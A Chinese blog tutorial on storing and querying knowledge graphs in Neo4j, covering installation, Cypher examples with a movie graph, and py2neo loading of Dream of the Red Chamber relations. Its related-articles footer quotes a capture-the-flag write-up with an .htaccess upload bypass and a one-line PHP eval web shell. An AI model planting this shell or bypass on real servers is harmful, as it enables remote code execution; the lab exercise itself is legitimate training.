知识图谱(1)知识存储与检索

目录

  • Neo4j在win系统安装
  • Neo4j基础语法
    • 知识图谱创建
    • 知识图谱查询
    • 知识图谱属性增减
  • python与neo4j

Neo4j在win系统安装

图数据库(graph database)是一种特殊的数据库,用于存储丰富的关系数据,neo4j是目前最流行的图数据库,支持完整的事务。在属性图中图由顶点,边,和属性组成,顶点和边都可以设置属性,顶点也称作节点,边称作关系,每个节点和关系都可以有一个或多个属性。neo4j创建的图是用顶点和边构成的有向图,查询语言为cypher。
fig0

一般的关系数据库只对单个Join操作进行优化查询,多重Join操作查询的性能会显著下降,图数据库适合查询关系数据,由于图遍历的局部性,不管图中有多少节点和关系,根据遍历规则,Neo4j只访问与遍历相关的节点,不受总数据集大小的影响,遍历的节点越多,遍历速度越慢,但这种速度是线性的变慢。


在关系数据库中,Join操作用于将多个表中的数据合并在一起,以创建一个包含多个表的结果集。


首先安装JDK,需要创建Oracle账号才能下载JDK:https://www.cnblogs.com/huzixia/p/10402200.html

在cmd中测试java是否安装成功:

C:\Users\Administrator>java -version
java version "1.8.0_381"
Java(TM) SE Runtime Environment (build 1.8.0_381-b09)
Java HotSpot(TM) 64-Bit Server VM (build 25.381-b09, mixed mode)

然后下载Neo4j Desktop,下载的同时保存Neo4j Desktop Activation Key用于安装激活:https://neo4j.com/deployment-center/

安装成功并激活后打开Neo4j Desktop,新建一个Project,并在其中添加DBMS,比如名称为Graph DBMS,先start再open该数据库。在数据库中创建节点:

create(n:技术论坛{name:'CSDN'})

上面语句的语法为:

CREATE (<node-name>:<label-name>)

CREATE (
   <node-name>:<label-name>
   {    
      <Property1-name>:<Property1-Value>
      ........
      <Propertyn-name>:<Propertyn-Value>
   }
)

创建后,neo4j会为节点自动添加属性<id>,然后再创建一个节点:

create(n:课程{name:'知识图谱'})

再创建关系,比如 技术论坛 开设 课程:

match(a:技术论坛),(b:课程)create(a)-[r:开设]->(b)

Neo4j基础语法

知识图谱创建

下面通过手动创建一个简单的电影知识图谱来熟悉neo4j,该图谱包括:创建电影节点,创建导演节点,创建演员节点,创建电影和导演的关系,创建电影和演员的关系。

电影信息为:
fig1

首先创建Movie DBMS,进入数据库创建一个电影:

create(n:film{name:'肖申克的救赎',type:'犯罪',score:'9.7'})

也可以同时创建多个电影,注意此时需要不指定node-name,让系统自动添加不同的node-name:

create(:film{name:'霸王别姬',type:'剧情',score:'9.6'}),
(:film{name:'⾟德勒的名单',type:'历史',score:'9.5'}),
(:film{name:'盗梦空间',type:'剧情',score:'9.3'}),
(:film{name:'星际穿越',type:'剧情',score:'9.3'}),
(:film{name:'荆轲刺秦王',type:'历史',score:'8.2'}),
(:film{name:'绿里奇迹',type:'剧情',score:'8.9'})

fig2
然后同时创建多个导演:

create(:director{name:'弗兰克·德拉邦特'}),
(:director{name:'陈凯歌'}),
(:director{name:'史蒂⽂·斯⽪尔伯格'}),
(:director{name:'克⾥斯托弗·诺兰'})

fig3
同时创建多个演员:

create (:actor {name:'蒂姆·罗宾斯'}), 
(:actor {name:'张国荣'}), 
(:actor {name:'连姆·尼森'}), 
(:actor {name:'⻢修·⻨康纳'}), 
(:actor {name:'张丰毅'})

然后创建关系,电影 肖申克的救赎 和导演 弗兰克·德拉邦特 的关系:

MATCH(a:director),(b:film) 
WHERE a.name='弗兰克·德拉邦特' AND b.name='肖申克的救赎' 
CREATE(a)-[r:direct]->(b)

创建电影和演员的关系:

MATCH(a:actor),(b:film) 
WHERE a.name='张国荣' AND b.name='霸王别姬' 
CREATE(a)-[r:play]->(b)

创建电影和演员的关系:

MATCH(a:actor),(b:film) 
WHERE a.name='蒂姆·罗宾斯' AND b.name='肖申克的救赎' 
CREATE(a)-[r:play]->(b)

创建电影和演员的关系:

MATCH(a:actor),(b:film) 
WHERE a.name='张丰毅' AND (b.name='霸王别姬' or b.name='荆轲刺秦王') 
CREATE(a)-[r:play]->(b)

fig4

知识图谱查询

然后是知识图谱的检索,即查询关系与节点:查询某个电影,查询某个类别下的所有节点,查询两个节点之间的关系,通过函数type获取关系的类型。

比如查询某个电影:

MATCH(a:film) 
WHERE a.name='霸王别姬' 
RETURN a

查询某个类别下的所有节点:

MATCH(a:director) 
RETURN a

查询两个节点之间的关系:

MATCH (:director {name:'弗兰克·德拉邦特'})-[r]->(:film{name:'肖申克的救赎'}) 
RETURN r
# 返回如下:
╒═════════╕
│r        │
╞═════════╡
│[:direct]│
└─────────┘

通过函数type获取关系的类型:

MATCH ()-[r]->(:film{name:'肖申克的救赎'}) 
RETURN type(r)
# 返回如下:
╒════════╕
│type(r) │
╞════════╡
│"direct"│
├────────┤
│"play"  │
└────────┘

知识图谱属性增减

增加节点属性:

MATCH(n:film) WHERE n.name='盗梦空间' SET n.language='english' 

删除节点属性:

MATCH(n:film) WHERE n.name='盗梦空间' REMOVE n.language

python与neo4j

需要安装py2neo:

pip install py2neo

这里以红楼梦构造知识图谱,创建RedChamber数据库,在创建时记住数据库密码,然后打开logs看到:Remote interface available at http://localhost:7474/,之后我们就可以用py2neo连接该数据库,username统一为neo4j。

通过py2neo连接数据库:

import py2neo
from py2neo import Graph,Node,Relationship,NodeMatcher
# username默认neo4j,密码为数据库创建时的密码,name为数据库中的graph name
g = Graph('http://localhost:7474',user='neo4j',password='12341234',name='neo4j')

这里使用的信息来自http://www.openkg.cn/home,DreamOfRedChamber.csv内容为(见我的资源):
fig5
读取该信息:

import pandas as pd
df = pd.read_csv('DreamOfRedChamber.csv')

构建知识图谱:

from tqdm import tqdm
for i, row in tqdm(df.iterrows()):
    print(row['head'],row['tail'],row['relation'],row['label'])
    start_node = Node("Person",name=row['head'])
    g.create(start_node)
    end_node = Node("Person",name=row['tail'])
    g.create(end_node)
    relation = Relationship(start_node,row['label'],end_node)
    g.create(relation)

来到 http://localhost:7474/browser/查询所有人物:

MATCH(a:Person) 
RETURN a

fig6
放大后可以更清晰看到关系:
fig7
我们可以用py2neo运行neo4j的命令:

g.run("match(p:Person {name:'林黛玉'})-[k:丫鬟]-(r)return p,k,r")

fig8

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/97416.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

QT使用QImage做图片切割

#include "mainwindow.h" #include "ui_mainwindow.h" #include <QFileDialog> #include <QDebug>MainWindow::MainWindow(QWidget *parent) :QMainWindow(parent),ui(new Ui::MainWindow) {ui->setupUi(this);// 选择本地图片文件QString …

chatGPT训练过程

强化学习基础 强化学习是指智能体在不确定环境中最大化其获得的奖励从而达到自主决策的目的。其执行过程为&#xff1a;智能体依据策略决策从而执行动作&#xff0c;然后感知环境获取环境的状态&#xff0c;进而得到奖励(以便下次再到相同状态时能采取更优的动作)&#xff0c;…

SQL-子查询

SQL 子查询 是指将一个SELECT查询&#xff08;子查询&#xff09;的结果用括号括起来作为另一个SQL语句的数据来源或者判断条件

视频导出文件太大如何变小?缩小视频这样做

作为一名视频制作爱好者&#xff0c;我们经常需要导出视频文件&#xff0c;但是&#xff0c;有时候我们会发现导出的视频文件太大&#xff0c;给上传和分享带来很大的不便。那么&#xff0c;如何将视频文件变小呢&#xff1f;下面将为你介绍三个方法&#xff0c;让你轻松解决视…

格子游戏——并查集

Alice和Bob玩了一个古老的游戏&#xff1a;首先画一个 nn 的点阵&#xff08;下图 n3 &#xff09;。 接着&#xff0c;他们两个轮流在相邻的点之间画上红边和蓝边&#xff1a; 直到围成一个封闭的圈&#xff08;面积不必为 1&#xff09;为止&#xff0c;“封圈”的那个人就是…

Mac 安装php多版本,brew安装php8.0

因为需要我要在mac上装两个php版本&#xff0c;先前我已经装过php7.4,下面我们逐步安装php8.0 开始安装8.0&#xff1a; 直接运行安装 brew install php8.0 遇到问题怀疑是仓库太老了&#xff0c;更新一下homebrew ,重新安装 brew update 安装成功了,不过看了下版本好像不能正…

拒绝摆烂!C语言练习打卡第七天

&#x1f525;博客主页&#xff1a;小王又困了 &#x1f4da;系列专栏&#xff1a;每日一练 &#x1f31f;人之为学&#xff0c;不日近则日退 ❤️感谢大家点赞&#x1f44d;收藏⭐评论✍️ 目录 一、选择题 &#x1f4dd;1.第一题 &#x1f4dd;2.第二题 &#x1f4d…

【Sql】把数据库字段用函数根据逗号分裂成列表,然后判断列表中是否包含目标值

【Sql】把数据库字段用函数根据逗号分裂成列表&#xff0c;然后判断列表中是否包含目标值 【1】问题描述【2】Oracle内置函数解决【3】mysql的内置函数INSTR()【4】mysql的内置函数FIND_IN_SET() 【1】问题描述 数据库中【库信息db】和【集群信息cluster】是一对多的关系&…

04架构管理之分支管理实践-一种git分支管理最佳实践

专栏说明&#xff1a;针对于企业的架构管理岗位&#xff0c;分享架构管理岗位的职责&#xff0c;工作内容&#xff0c;指导架构师如何完成架构管理工作&#xff0c;完成架构师到架构管理者的转变。计划以10篇博客阐述清楚架构管理工作&#xff0c;专栏名称&#xff1a;架构管理…

详解 ElasticSearch Kibana 配置部署

默认安装部署所在机器允许外网 SSH工具 Putty 链接&#xff1a;https://pan.baidu.com/s/1b6gumtsjL_L64rEsOdhd4A 提取码&#xff1a;lxs9 Winscp 链接&#xff1a;https://pan.baidu.com/s/1tD8_2knvv0EJ5OYvXP6VTg 提取码&#xff1a;lxs9 WinSCP安装直接下一步到完成…

wandb安装方法及本地部署教程

文章目录 1 wandb介绍2 wandb安装2.1 注册wandb账号2.2 创建项目并获得密钥2.3 安装wandb并登录 3 wandb本地部署3.1 设置wandb运行模式3.2 云端查看运行数据 4 总结 1 wandb介绍 Wandb&#xff08;Weights & Biases&#xff09;是一个用于跟踪、可视化和协作机器学习实验…

MATLAB实现AHP层次分析法——以情人节选取礼物为例

问题背景&#xff1a; 情人节来临之际&#xff0c;广大直男&#xff08;女&#xff09;同胞在给异性朋友选购礼物时会遇到难题——什么才是礼物好坏最重要的标准&#xff1f;基于层次分析法AHP进行计算&#xff0c;得出最高权重的指标&#xff0c;给出各位朋友选购礼物的一种思…

阿里云机器学习PAI全新推出特征平台 (Feature Store),助力AI建模场景特征数据高效利用

推荐算法与系统在全球范围内已得到广泛应用&#xff0c;为用户提供了更个性化和智能化的产品推荐体验。在推荐系统领域&#xff0c;AI建模中特征数据的复用、一致性等问题严重影响了建模效率。阿里云机器学习平台 PAI 推出特征平台&#xff08;PAI-FeatureStore&#xff09; 。…

CTFhub-文件上传-.htaccess

首先上传 .htaccess 的文件 .htaccess SetHandler application/x-httpd-php 这段内容的作用是使所有的文件都会被解析为php文件 然后上传1.jpg 的文件 内容为一句话木马 1.jpg <?php echo "PHP Loaded"; eval($_POST[a]); ?> 用蚁剑连接 http://ch…

MongoDB 双机热备那篇文章是 “毒”

开头还是介绍一下群&#xff0c;如果感兴趣polardb ,mongodb ,mysql ,postgresql ,redis &#xff0c;Oracle ,Oceanbase 等有问题&#xff0c;有需求都可以加群群内有各大数据库行业大咖&#xff0c;CTO&#xff0c;可以解决你的问题。加群请加微信号 liuaustin3 &#xff08;…

【紫光同创国产FPGA教程】——【PGL22G第六章】密码锁实验例程

本原创教程由深圳市小眼睛科技有限公司创作&#xff0c;版权归本公司所有&#xff0c;如需转载&#xff0c;需授权并注明出处 适用于板卡型号&#xff1a; 紫光同创PGL22G开发平台&#xff08;盘古22K&#xff09; 一&#xff1a;盘古22K开发板&#xff08;紫光同创PGL22G开发…

2023年9月重庆/南京/深圳CDGA/CDGP数据治理认证考试报名

据DAMA中国官方网站消息&#xff0c;2023年度第三期DAMA中国CDGA和CDGP认证考试定于2023年9月23日举行。 报名通道现已开启&#xff0c;相关事宜通知如下&#xff1a; 考试科目: 数据治理工程师(CertifiedDataGovernanceAssociate,CDGA) 数据治理专家(CertifiedDataGovernanc…

C#2010 .NET4 解析 json 字符串

下载Newtonsoft.Json.dll using System; using System.Collections.Generic; using System.Linq; using System.Text;using Newtonsoft.Json; using Newtonsoft.Json.Linq; using System; namespace ConsoleApplication1 {class Program{static void Main(string[] args){strin…

硬件知识积累 USB 接口 type - A type - B type - C 的介绍与功能说明 (简单介绍)

1. USB 的介绍 1.1 USB 的定义 USB : 通用串行总线(英语: Universal Serial Bus&#xff0c;缩写:USB)是一种串口总线标准&#xff0c;也是一种输入输出接口的技术规范&#xff0c;被广泛地应用于个人电脑和移动设备等信息通讯产品&#xff0c;并扩展至摄影器材、数字电视&a…

Redis各类数据结构应用场景总结

Redis各类数据结构应用场景总结 引言String应用场景 List应用场景 Hash应用场景 Set应用场景 ZSet应用场景 小结 引言 实际面试过程中更多看重的是对Redis相关数据结构的活学活用&#xff0c;同时也可能会引申出Redis相关底层数据结构原理的实现&#xff0c;笔者最近面试过程中…